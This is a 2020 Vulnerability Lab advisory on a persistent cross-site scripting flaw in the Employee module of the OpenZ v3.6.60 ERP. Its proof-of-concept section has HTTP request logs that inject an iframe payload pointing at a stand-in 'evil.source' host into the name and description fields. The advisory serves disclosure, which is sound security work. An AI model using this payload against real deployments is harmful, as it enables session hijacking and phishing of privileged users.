Document Title: =============== OpenZ v3.6.60 ERP - Employee Persistent XSS Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2234 Release Date: ============= 2020-05-06 Vulnerability Laboratory ID (VL-ID): ==================================== 2234 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== OpenZ is a completely web-based enterprise resource planning system, or ERP system for short, which was voted ERP System of the Year in the Open Source category in 2014. The software offers a completely scalable, dynamically adaptable and easy-to-use range of functions and modules. OpenZ can be used to control all business processes such as master data maintenance, quotation, order and invoice creation, financial accounting, controlling, project management, individual and/or serial production with batch and serial number tracking. Complex e-commerce requirements, material requirements planning, supply chain optimization, as well as your own and special processes for your company can be controlled within one software - from anywhere in the world - independent of platform. (Copy of the Homepage: https://www.openz.de/ & https://www.openz.de/download.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the OpenZ v3.6.60 ERP web-application. Affected Product(s): ==================== OpenZ Product: OpenZ v3.6.60 - ERP (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-05-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent cross site scripting web vulnerability has been discovered in the official OpenZ v3.6.60 ERP web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent vulnerability is located in the `inpname` and `inpdescripción` parameters of the `Employee` add/register/edit module in the `menu.html` file. Remote attackers with low privileges are able to inject own malicious persistent script code as name or description. The injected code can be used to attack the frontend or backend of the web-application. The request method to inject is POST and the attack vector is located on the application-side. The attack can be triggered from low privilege user accounts against higher privilege user accounts like manager or administrators to elevate privileges via session hijacking. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Employee Vulnerable Input(s): [+] Mitarbeiter Name [+] Beschreibung Vulnerable File(s): [+] Menu.html Vulnerable Parameter(s): [+] inpname [+] inpdescription Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by low privileged web application user account with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the openz web-application 2. Register, add or edit via profile settings the inpname & inpdescription parameter inputs 3. Edit inpname & inpdescription parameter of the profile and save the entry Note: The execute occurs on preview of the user credentials in the /org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html 4. Successful reproduce of the persistent web vulnerability! --- POC Session Logs [POST] --- (Inject via Add / Edit) https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html Host: localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 1464 Origin: https://localhost:8080 Connection: keep-alive Referer: https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544; _ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275 Command=SAVE_EDIT_RELATION&inpLastFieldChanged=inpdescription&inpkeyColumnIdInp=&inpParentKeyColumn=&inpDirectKey=& inpKeyReferenceColumnName=&inpTableReferenceId=&inpKeyReferenceId=&autosave=N&inpnewdatasetindicator=&inpnewdataseIdVal=& inpenabledautosave=Y&inpisemployee=Y&inpistaxexempt=N&inpadClientId=C726FEC915A54A0995C568555DA5BB3C&inpaAssetId=& inpcGreetingId=&inpcBpartnerId=8BEB3E9FD5D24F9BBCF777A51D53F5AF&inpissummary=N&inprating=N&inpTableId=AC9B98C649CD4F55B37714008EE8519F& inpkeyColumnId=C_BPartner_ID&inpKeyName=inpcBpartnerId&mappingName=/org.openbravo.zsoft.smartui.Employee/ EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html&inpwindowId=39D3CD9F77A942D690965D49106F011B& inpTabId=A3D0B320B69845B386024B5FF6B1E266&inpCommandType=EDIT&updatedTimestamp=20200426170335&inpParentOrganization=& inpadOrgId=1AF9E07685234E0A9FEC1D9B58A4876B&inpadImageId=& inpvalue=325235&inpname=>"><iframe src=evil.source><iframe></iframe></iframe>& inpdescription=>"><iframe src=evil.source><iframe></iframe></iframe>&inpimageurl=31337& inpisactive=Y&inpisinresourceplan=Y&inpapprovalamt=0,00&inpcSalaryCategoryId=&inptaxid=&inpreferenceno=& inpcBpGroupId=42691AE1D13F400AB814B70361E167C3&inpadLanguage=de_DE&inpcountry=Deutschland&inpzipcode=& inpcity=&inpcreated=26-04-2020 17:03:35&inpcreatedby=Service&inpupdated=26-04-2020 17:03:35&inpupdatedby=Service - POST: HTTP/1.1 302 Found Server: Apache/2.4.38 (Debian) Location: https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html?Command=RELATION Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 - (Execution in Listing) https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/evil.source Host: myerponline.de Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer: https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544; _ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275 - GET: HTTP/1.1 200 OK Server: Apache/2.4.38 (Debian) Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1110 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive PoC: Vulnerable Source (/security/Menu.html) <table width="0px" height="0px" cellspacing="0" cellpadding="0"> <tbody><tr> <td><input type="text" class="DataGrid_Table_Dummy_Input" id="grid_table_dummy_input"></td> </tr> </tbody></table> <input type="hidden" name="inpcBpartnerId" value="8BEB3E9FD5D24F9BBCF777A51D53F5AF" id="keyParent"> <div class="RelationInfoContainer"> <table class="RelationInfo"> <tbody><tr> <td class="RelationInfoTitle" id="related_info_cont">Business Partner:</td> <td class="RelationInfoContent" id="paramParentC_BPartner_ID">325235 - &gt;"&gt;<iframe src="a"></TD> </TR> Reference(s): https://localhost:8080/ https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/ https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/Employee Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. 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